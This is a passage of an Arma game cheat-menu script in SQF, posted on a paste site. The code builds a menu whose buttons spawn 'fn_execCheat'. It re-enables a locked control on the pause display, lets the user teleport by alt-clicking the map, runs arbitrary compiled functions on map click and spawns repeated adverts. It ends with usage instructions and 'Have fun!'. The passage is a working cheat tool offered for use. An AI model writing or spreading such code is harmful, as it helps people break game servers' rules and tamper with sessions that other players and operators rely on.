  2082. call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_toggle = %1;",_toggleVar];
  2083. if(_toggle) then {_color = [0,1,0,0];};
  2084. };
  2085. _ctrl = _display ctrlCreate ["RscButtonMenu",-1];
  2086. _ctrl ctrlSetPosition [_xPos,_y,_w,_h];
  2087. _ctrl ctrlSetText _text;
  2088. _ctrl buttonSetAction format["[%1,%2] spawn fn_execCheat;",_index,_forEachIndex];
  2089. _ctrl ctrlSetToolTip _toolTip;
  2090. _ctrl ctrlSetBackgroundColor [0,0,0,0];
  2091. _ctrl ctrlSetTextColor _color;
  2092. _ctrl ctrlCommit 0;
  2093. [_ctrl,_forEachIndex,_color] spawn {
  2094. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  2095. disableserialization;
  2096. _delay = ((_this select 1)/20);
  2097. _ctrl = _this select 0;
  2098. _r = (_this select 2) select 0;
  2099. _g = (_this select 2) select 1;
  2100. _b = (_this select 2) select 2;
  2101. uiSleep _delay;
  2102. for "_i" from 1 to 8 do {
  2103. _fade = 0.05 * _i;
  2104. _fadeText = (1/8) * _i;
  2105. _ctrl ctrlSetBackgroundColor [0,0,0,_fade];
  2106. _ctrl ctrlSetTextColor [_r,_g,_b,_fadeText];
  2107. uiSleep (1/160);
  2108. };
  2109. };
  2110. _ctrlList set[count(_ctrlList),_ctrl];
  2111. } forEach _array;
  2112.  
  2113. _btns = uinamespace getvariable "CTRL_BTN_LIST";
  2114. _btns set[_index,_ctrlList];
  2115. uinamespace setvariable ["CTRL_BTN_LIST",_btns];
  2116. };
  2117. };
  2118. if(!isNil "menu_done") exitWith {};
  2119. menu_done = true;
  2120. [] spawn {
  2121. while{true} do {
  2122. waitUntil{inputAction "User9" > 0};
  2123. [] spawn init_menu;
  2124. waitUntil{inputAction "User9" == 0};
  2125. };
  2126. };
  2127. [] spawn {
  2128. while{true} do {
  2129. waitUntil{!isNull (findDisplay 49)};
  2130. ((findDisplay 49) displayCtrl 104) ctrlEnable true;
  2131. ((findDisplay 49) displayCtrl 104) ctrlShow true;
  2132. waitUntil{isNull (findDisplay 49)};
  2133. };
  2134. };
  2135. for "_i" from 0 to 50 do {_i spawn fn_displayAdvert;};
  2136. [] spawn {
  2137. while{true} do {
  2138. onMapSingleClick '_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if(_alt) then {vehicle player setposatl _pos;};if(execMapFunc && !_alt) then {execMapFunc = false; call compile format["call %1;",mapFunc];}; false';
  2139. };
  2140. };
  2141. "Controls" hintC [
  2142. "To use this menu you must:",
  2143. " Configure -> Controls -> Custom Controls -> User Action 9",
  2144. " Bind that to any key to open you menu. ",
  2145. "To teleport you must: ",
  2146. " Hold ALT and click on the map!",
  2147. "Have fun!"
  2148. ];
  2149. hintC_arr_EH = findDisplay 72 displayAddEventHandler ["unload", {
  2150. _this spawn {
  2151. _this select 0 displayRemoveEventHandler ["unload", hintC_arr_EH];
  2152. hintSilent "";
  2153. };
  2154. }];
  2155. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement